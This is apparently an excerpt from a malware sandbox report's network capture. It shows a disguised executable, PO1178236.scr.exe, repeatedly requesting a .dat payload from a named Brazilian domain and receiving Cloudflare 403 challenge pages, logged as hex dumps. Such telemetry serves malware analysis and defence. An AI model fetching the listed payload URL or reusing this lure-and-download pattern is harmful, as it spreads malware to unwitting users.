2025-01-09 07:29:16 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AtgFksRxS5Q4lrs3SYpGqoTffLRvD8lwNRDM6%2B88MgVIxWuM8dJtf59t2qEXzGgeDzg1xAFw%2B9WgXIvqfICqv867xCyyrvjZZwNjL0o%2BoNGb2HMRPifZJB6JjC4KygGqaAGCuMZH0WtcN8SD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b71f98b57cb4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2038&min_rtt=2037&rtt_var=766&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1426477&cwnd=232&unsent_bytes=0&cid=e359549a92c1dd1d&ts=147&x=0"
2025-01-09 07:29:16 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:16 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:16 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:16 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 31 66 39 38 62 35 37 63 62 34 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b71f98b57cb4</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:16 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 31 66 39 38 62 35 37 63 62 34 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b71f98b57cb4',t:'MTczNjQwNzc1Ni4wMDAwMDA='};var a
2025-01-09 07:29:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49845	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:17 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:17 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:32 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XY%2FwwFL70PgL4NwkdJONWtrBQKTugORFMf0eSgJDq1urVFP1Qwbyo%2BBQ5ykSYhYFj%2F62ClkuvixmRmQlOJ3%2BqEDcEw6b7xYvE3WxbIqzpOj9E%2BaAILgwRlvlsej%2BekDgiA2w3UQiftakAOAF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7238bac4370-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2336&min_rtt=2321&rtt_var=901&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1195251&cwnd=233&unsent_bytes=0&cid=7c18c22797017702&ts=149&x=0"
2025-01-09 07:29:17 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:17 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:29:17 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:29:17 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 32 33 38 62 61 63 34 33 37 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7238bac4370</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:29:17 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 32 33 38 62 61 63 34 33 37 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7238bac4370',t:'MTczNjQwNzc1Ny4wMDAwMDA='}
2025-01-09 07:29:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49846	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:17 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:18 UTC	1005	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:32 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9YPUrESSzDIhVtVtGBRKiHvstHkAPxA6CXcN1SzJ7AC8BqiXh4TIuvC7GG%2FbnRrd2yLScOt0Nk8wMlGdUpRzAlolyED3p7qjhLToKZT0P3VSFuTet25%2BSBgJKy5D8TKnslpDjFgJ82LU%2B8WK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b7273d7878ed-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2003&min_rtt=1981&rtt_var=759&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1474003&cwnd=182&unsent_bytes=0&cid=a22970e1c3cb4274&ts=132&x=0"
2025-01-09 07:29:18 UTC	364	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:29:18 UTC	1369	IN	Data Raw: 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 Data Ascii: are</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=devi
2025-01-09 07:29:18 UTC	1369	IN	Data Raw: 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 61 70 74 63 Data Ascii: f-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.captc
2025-01-09 07:29:18 UTC	1369	IN	Data Raw: 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 37 32 37 33 64 37 38 37 38 65 64 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 65 6e 22 3e Data Ascii: eft border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b7273d7878ed</strong></span> <span class="cf-footer-separator sm:hidden">
2025-01-09 07:29:18 UTC	998	IN	Data Raw: 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 37 32 37 33 64 37 38 37 38 65 64 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 31 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 61 72 20 61 Data Ascii: ow._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b7273d7878ed',t:'MTczNjQwNzc1Ny4wMDAwMDA='};var a
2025-01-09 07:29:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49852	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:29:18 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:29:18 UTC	1007	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:29:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:29:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rH3JsFXApD6PK5K4T1OyIBcFG4GfWiP8fEbEzAMGP8un3ug5yNbntPqFkaeewyP7Lf4MEQdteqc%2F0lkgmt7ub2%2FV9dxw4KtnjxseVHJ5i3Ez7%2FtYn0DOTYmRN3o%2FWqgwm8LsEXFVLxR1NwVf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b72b1d5c8c45-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1969&min_rtt=1965&rtt_var=745&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1460730&cwnd=219&unsent_bytes=0&cid=8785b5aaf76abf36&ts=149&x=0"
2025-01-09 07:29:18 UTC	362	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 